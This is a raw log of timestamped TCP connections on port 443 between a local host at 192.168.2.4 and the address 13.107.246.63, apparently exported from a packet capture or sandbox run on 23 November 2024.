Nov 23, 2024 17:45:25.748440981 CET	443	49814	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:25.748457909 CET	49814	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:25.748466969 CET	443	49814	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:25.813136101 CET	49818	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:25.813153028 CET	443	49818	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:25.813220024 CET	49818	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:25.841731071 CET	49818	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:25.841746092 CET	443	49818	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:25.880546093 CET	49819	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:25.880611897 CET	443	49819	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:25.880748034 CET	49819	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:25.926259995 CET	49819	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:25.926289082 CET	443	49819	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:26.638375044 CET	443	49815	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:26.638844013 CET	49815	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:26.638873100 CET	443	49815	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:26.639308929 CET	49815	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:26.639317036 CET	443	49815	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:26.877576113 CET	443	49816	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:26.877980947 CET	49816	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:26.877995968 CET	443	49816	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:26.878431082 CET	49816	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:26.878437042 CET	443	49816	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:26.956248999 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:26.959645987 CET	49817	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:26.959686041 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:26.960161924 CET	49817	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:26.960170031 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:27.104100943 CET	443	49815	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:27.104182005 CET	443	49815	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:27.104249001 CET	49815	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:27.105555058 CET	49815	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:27.105581045 CET	443	49815	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:27.105596066 CET	49815	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:27.105602980 CET	443	49815	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:27.108206034 CET	49820	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:27.108244896 CET	443	49820	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:27.108314037 CET	49820	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:27.108442068 CET	49820	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:27.108460903 CET	443	49820	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:27.366674900 CET	443	49816	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:27.366756916 CET	443	49816	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:27.366837978 CET	49816	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:27.367049932 CET	49816	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:27.367065907 CET	443	49816	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:27.367077112 CET	49816	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:27.367083073 CET	443	49816	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:27.369530916 CET	49821	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:27.369560003 CET	443	49821	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:27.369716883 CET	49821	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:27.370594025 CET	49821	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:27.370604992 CET	443	49821	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:27.411746025 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:27.411799908 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:27.411884069 CET	49817	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:27.412081957 CET	49817	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:27.412102938 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:27.412120104 CET	49817	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:27.412127018 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:27.414421082 CET	49822	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:27.414458036 CET	443	49822	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:27.414532900 CET	49822	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:27.414678097 CET	49822	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:27.414691925 CET	443	49822	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:27.715285063 CET	443	49818	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:27.715738058 CET	49818	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:27.715771914 CET	443	49818	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:27.716195107 CET	49818	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:27.716204882 CET	443	49818	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:27.742645979 CET	443	49819	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:27.743223906 CET	49819	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:27.743295908 CET	443	49819	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:27.743690014 CET	49819	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:27.743704081 CET	443	49819	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:28.349718094 CET	443	49818	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:28.349801064 CET	443	49818	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:28.349858999 CET	49818	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:28.381274939 CET	49818	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:28.381304026 CET	443	49818	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:28.381316900 CET	49818	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:28.381321907 CET	443	49818	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:28.385622025 CET	49823	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:28.385657072 CET	443	49823	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:28.385742903 CET	49823	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:28.386137009 CET	49823	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:28.386147022 CET	443	49823	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:28.388077021 CET	443	49819	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:28.388156891 CET	443	49819	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:28.388216972 CET	49819	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:28.388571978 CET	49819	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:28.388618946 CET	443	49819	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:28.388648033 CET	49819	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:28.388664007 CET	443	49819	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:28.392893076 CET	49824	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:28.392919064 CET	443	49824	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:28.392971039 CET	49824	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:28.393135071 CET	49824	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:28.393142939 CET	443	49824	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:28.974101067 CET	443	49820	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:28.974592924 CET	49820	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:28.974632025 CET	443	49820	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:28.975074053 CET	49820	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:28.975081921 CET	443	49820	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:29.100142956 CET	443	49821	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:29.100661039 CET	49821	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:29.100676060 CET	443	49821	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:29.101336002 CET	49821	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:29.101341963 CET	443	49821	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:29.178966045 CET	443	49822	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:29.179524899 CET	49822	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:29.179543972 CET	443	49822	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:29.180156946 CET	49822	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:29.180162907 CET	443	49822	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:29.488532066 CET	443	49820	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:29.488619089 CET	443	49820	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:29.488701105 CET	49820	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:29.488915920 CET	49820	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:29.488948107 CET	443	49820	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:29.488960028 CET	49820	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:29.488967896 CET	443	49820	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:29.491864920 CET	49825	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:29.491976023 CET	443	49825	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:29.492074013 CET	49825	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:29.492259979 CET	49825	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:29.492290020 CET	443	49825	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:29.816386938 CET	443	49821	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:29.816462040 CET	443	49821	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:29.816579103 CET	49821	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:29.816845894 CET	49821	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:29.816867113 CET	443	49821	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:29.816906929 CET	49821	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:29.816912889 CET	443	49821	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:29.819550037 CET	49826	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:29.819590092 CET	443	49826	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:29.819669962 CET	49826	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:29.819803953 CET	49826	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:29.819816113 CET	443	49826	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:29.821871996 CET	443	49822	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:29.821937084 CET	443	49822	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:29.821999073 CET	49822	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:29.822125912 CET	49822	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:29.822159052 CET	443	49822	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:29.822174072 CET	49822	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:29.822182894 CET	443	49822	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:29.824256897 CET	49827	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:29.824362040 CET	443	49827	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:29.824445009 CET	49827	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:29.824569941 CET	49827	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:29.824604034 CET	443	49827	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:30.285873890 CET	443	49824	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:30.286629915 CET	49824	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:30.286659002 CET	443	49824	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:30.287791014 CET	49824	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:30.287796021 CET	443	49824	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:30.480760098 CET	443	49823	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:30.481467962 CET	49823	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:30.481484890 CET	443	49823	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:30.482114077 CET	49823	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:30.482120037 CET	443	49823	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:30.731882095 CET	443	49824	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:30.732088089 CET	443	49824	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:30.732158899 CET	49824	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:30.732285023 CET	49824	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:30.732302904 CET	443	49824	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:30.732337952 CET	49824	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:30.732342958 CET	443	49824	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:30.735304117 CET	49828	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:30.735377073 CET	443	49828	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:30.735460043 CET	49828	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:30.735618114 CET	49828	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:30.735630035 CET	443	49828	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:30.929394960 CET	443	49823	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:30.929466963 CET	443	49823	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:30.929577112 CET	49823	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:30.929828882 CET	49823	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:30.929828882 CET	49823	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:30.929851055 CET	443	49823	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:30.929862022 CET	443	49823	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:30.933027029 CET	49829	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:30.933072090 CET	443	49829	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:30.933170080 CET	49829	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:30.933379889 CET	49829	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:30.933393002 CET	443	49829	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:31.442219973 CET	443	49825	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:31.442941904 CET	49825	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:31.442992926 CET	443	49825	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:31.443429947 CET	49825	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:31.443439007 CET	443	49825	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:31.677700043 CET	443	49826	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:31.678284883 CET	49826	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:31.678304911 CET	443	49826	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:31.678996086 CET	49826	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:31.678999901 CET	443	49826	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:31.765372038 CET	443	49827	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:31.765970945 CET	49827	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:31.765995026 CET	443	49827	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:31.766546965 CET	49827	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:31.766551971 CET	443	49827	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:31.888112068 CET	443	49825	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:31.888178110 CET	443	49825	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:31.888277054 CET	49825	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:31.888555050 CET	49825	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:31.888573885 CET	443	49825	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:31.888586044 CET	49825	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:31.888591051 CET	443	49825	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:31.892113924 CET	49830	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:31.892151117 CET	443	49830	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:31.892237902 CET	49830	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:31.892484903 CET	49830	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:31.892496109 CET	443	49830	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:32.142904997 CET	443	49826	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:32.142973900 CET	443	49826	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:32.143030882 CET	49826	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:32.172674894 CET	49826	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:32.172688007 CET	443	49826	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:32.172698021 CET	49826	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:32.172703028 CET	443	49826	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:32.175894022 CET	49831	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:32.175924063 CET	443	49831	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:32.176197052 CET	49831	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:32.176197052 CET	49831	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:32.176223040 CET	443	49831	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:32.394985914 CET	443	49827	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:32.395066977 CET	443	49827	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:32.395153046 CET	49827	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:32.395338058 CET	49827	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:32.395338058 CET	49827	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:32.395354033 CET	443	49827	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:32.395366907 CET	443	49827	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:32.397655010 CET	49832	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:32.397690058 CET	443	49832	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:32.397752047 CET	49832	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:32.397888899 CET	49832	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:32.397902012 CET	443	49832	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:32.604120970 CET	443	49828	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:32.604703903 CET	49828	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:32.604729891 CET	443	49828	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:32.605158091 CET	49828	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:32.605163097 CET	443	49828	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:32.737966061 CET	443	49829	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:32.738414049 CET	49829	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:32.738436937 CET	443	49829	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:32.738950014 CET	49829	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:32.738955021 CET	443	49829	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:33.221270084 CET	443	49828	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:33.221362114 CET	443	49828	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:33.221430063 CET	49828	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:33.221613884 CET	49828	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:33.221615076 CET	49828	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:33.221657991 CET	443	49828	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:33.221702099 CET	443	49828	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:33.224253893 CET	49833	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:33.224303961 CET	443	49833	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:33.224394083 CET	49833	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:33.224517107 CET	49833	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:33.224545002 CET	443	49833	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:33.353791952 CET	443	49829	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:33.353981972 CET	443	49829	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:33.354034901 CET	49829	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:33.354113102 CET	49829	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:33.354131937 CET	443	49829	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:33.354145050 CET	49829	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:33.354151011 CET	443	49829	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:33.356504917 CET	49834	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:33.356549025 CET	443	49834	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:33.356633902 CET	49834	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:33.356755972 CET	49834	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:33.356771946 CET	443	49834	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:33.901875973 CET	443	49830	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:33.902350903 CET	49830	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:33.902376890 CET	443	49830	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:33.902792931 CET	49830	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:33.902800083 CET	443	49830	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:34.024478912 CET	443	49831	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:34.024903059 CET	49831	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:34.024929047 CET	443	49831	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:34.025352001 CET	49831	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:34.025365114 CET	443	49831	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:34.184880018 CET	443	49832	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:34.185374022 CET	49832	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:34.185400009 CET	443	49832	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:34.185839891 CET	49832	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:34.185847044 CET	443	49832	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:34.354506969 CET	443	49830	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:34.354662895 CET	443	49830	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:34.354723930 CET	49830	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:34.354873896 CET	49830	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:34.354897976 CET	443	49830	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:34.354909897 CET	49830	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:34.354916096 CET	443	49830	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:34.357872963 CET	49835	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:34.357975006 CET	443	49835	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:34.358062983 CET	49835	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:34.358264923 CET	49835	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:34.358289957 CET	443	49835	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:34.477005959 CET	443	49831	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:34.477058887 CET	443	49831	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:34.477201939 CET	49831	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:34.477296114 CET	49831	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:34.477303028 CET	443	49831	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:34.477315903 CET	49831	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:34.477319002 CET	443	49831	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:34.480150938 CET	49836	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:34.480181932 CET	443	49836	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:34.480267048 CET	49836	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:34.480431080 CET	49836	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:34.480442047 CET	443	49836	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:34.630661011 CET	443	49832	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:34.630836964 CET	443	49832	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:34.630904913 CET	49832	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:34.631097078 CET	49832	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:34.631098032 CET	49832	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:34.631118059 CET	443	49832	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:34.631130934 CET	443	49832	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:34.633809090 CET	49837	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:34.633848906 CET	443	49837	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:34.633936882 CET	49837	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:34.634104967 CET	49837	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:34.634119987 CET	443	49837	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:35.058140039 CET	443	49833	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:35.058712006 CET	49833	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:35.058741093 CET	443	49833	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:35.059140921 CET	49833	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:35.059153080 CET	443	49833	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:35.177808046 CET	443	49834	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:35.178211927 CET	49834	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:35.178231955 CET	443	49834	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:35.178659916 CET	49834	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:35.178666115 CET	443	49834	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:35.532721996 CET	443	49833	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:35.532809019 CET	443	49833	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:35.532879114 CET	49833	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:35.533036947 CET	49833	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:35.533062935 CET	443	49833	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:35.533086061 CET	49833	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:35.533097029 CET	443	49833	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:35.535974026 CET	49838	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:35.536024094 CET	443	49838	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:35.536117077 CET	49838	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:35.536288977 CET	49838	443	192.168.2.4	13.107.246.63
